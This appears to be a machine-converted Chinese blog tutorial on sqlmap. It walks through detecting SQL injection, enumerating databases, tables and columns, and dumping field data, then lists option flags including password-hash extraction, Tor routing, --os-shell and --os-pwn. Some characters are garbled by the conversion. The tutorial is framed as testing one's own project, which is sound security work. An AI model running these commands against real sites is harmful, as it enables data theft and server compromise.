使用sqlmap進行SQL注入檢測

2021-09-26 09:17:02 字數 2899 閱讀 7679

首先我們需要訪問自己的專案,找到乙個需要檢測的url,這個url需要對應後台的處理,這個url對應的後台需要接收引數,並且會將我們的引數作為sql的一部分去資料庫進行查詢之類的操作。

如 我們有個鏈結

使用python sqlmap.py -u "" --batch

這裡--batch表示不需要使用者輸入,使用預設行為,否則會有一些提示選擇需要使用者進行。

如果此url中存在sql注入,那麼將會出現如下畫面。並且可以看到 這裡告訴我們後台使用的資料庫型別與版本是sqlserver 2008.

這裡我們使用

python sqlmap.py -u url --dbs --batch

可以獲取到此例項下的所有資料庫名稱。

使用python sqlmap.py -u url --current-db --batch

可以獲取當前系統使用的資料庫名稱。

在獲取到資料庫名稱之後,我們使用

python sqlmap.py -u url -d 資料庫名稱 --tables --batch

可以獲取到這個資料庫下所有的表名

我們找到我們感興趣的表,然後獲取這個表的所有字段

python sqlmap.py -u url -d 資料庫名 -t 表名 --columns --batch

我們使用

python sqlmap.py -u url -d 資料庫名 -t 表名 -c "欄位名(多字段用,分隔)" --dump --batch

這樣會將對應欄位的值全部查詢並儲存起來,如果數目比較大 也可以指定 --start --stop 來指定獲取哪些資料。

可以看到這裡我們獲取一條資料,並且資料會儲存在csv中,要注意如果我們獲取到的資料中有加密的,會預設進行暴力破解,所以會有些慢。

至此,對於sqlmap的簡單使用就結束了,我們可以看到最簡單的使用,就已經可以將我們的整個資料給爬取了,因此在日常工作中一定要注意**規範,盡量避免sql注入的出現。

目標:至少要選中乙個引數

-u url, --url=url   目標為 url (例如. "")

-g googledork       將谷歌dork的結果作為目標url

請求:這些選項可用於指定如何連線到目標url

--data=data         資料字串通過post傳送

--cookie=cookie     http cookie的值

--random-agent      隨機選擇 http user-agent 頭的值

--proxy=proxy       使用**去連線目標url

--tor               使用匿名網路

--check-tor         檢查tor是否正確使用 

注入:這些選項可用於指定要測試哪些引數,提供自定義注入負載和可選篡改指令碼

-p testparameter    可測試的引數

--dbms=dbms         將後端dbms強制到此值

檢測:這些選項可用於定製檢測階段

--level=level       執行的測試級別(1-5, 預設 1)

--risk=risk         執行測試的風險 (1-3, 預設 1)

技術:這些選項可用於調整特定sql注入的測試的技術

--technique=tech    sql注入技術選擇 (預設 "beustq")

列舉:t這些選項可用於列舉後端資料庫管理系統的資訊、結構和資料表。此外,還可以執行自己的sql語句

-a, --all           檢索全部

-b, --banner        檢索 banner

--current-user      檢索當前使用者

--current-db        檢索當前資料庫

--passwords         列出使用者密碼的hash值

--tables            列出表

--columns           列出字段

-schema            列出dbms schema

--dump              dump dbms資料庫表的條目

--dump-all          dump 所有dbms資料庫表的條目

-d db               指定資料庫

-t tbl              指定表

-c col              指定字段

作業系統訪問:

這些選項可用於訪問後端資料庫管理系統底層作業系統

--os-shell          提示為互動式作業系統shell

--os-pwn            提示為oob外殼,meterpreter或vnc

通用:這些選項可用於設定一些通用的工作引數

--batch             永遠不要要求使用者輸入,使用預設行為

--flush-session     重新整理當前目標的會話檔案

雜項:--sqlmap-shell      提示輸入互動式sqlmap shell

--wizard            初學者的簡單嚮導介面

使用SQLmap進行注入測試

sqlmap是乙個自動化的sql注入工具,其主要功能是掃瞄,發現並利用給定的url的sql注入漏洞。目前支援的資料庫是mysql,oracle,postgresql,microsoft sql server,microsoft acess,ibm db2,sqllite,firebird,sybas...

SQL注入之Sqlmap使用

我們都知道,對於網路滲透最重要的一步是要拿到後台資料庫管理員的密碼與使用者名稱,那麼怎麼得到這個使用者名稱和密碼呢?就要用到今天所說的sqlmap,它不僅適用於內網環境,在外網環境也是非常受歡迎的,並且在kali linux裡邊顯得尤為重要,它所到之處幾乎是 寸草不生 那麼接下來我就簡單介紹下sql...

sql注入與sqlmap的使用

一.sql注入產生的原因 sql注入用一句概況就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。通過控制部分sql語句,攻擊者可以查詢資料庫中任何自己需要的資料,利用資料庫的一些特性,可以直接獲取資料庫伺服器的系統許可權。要利用sql...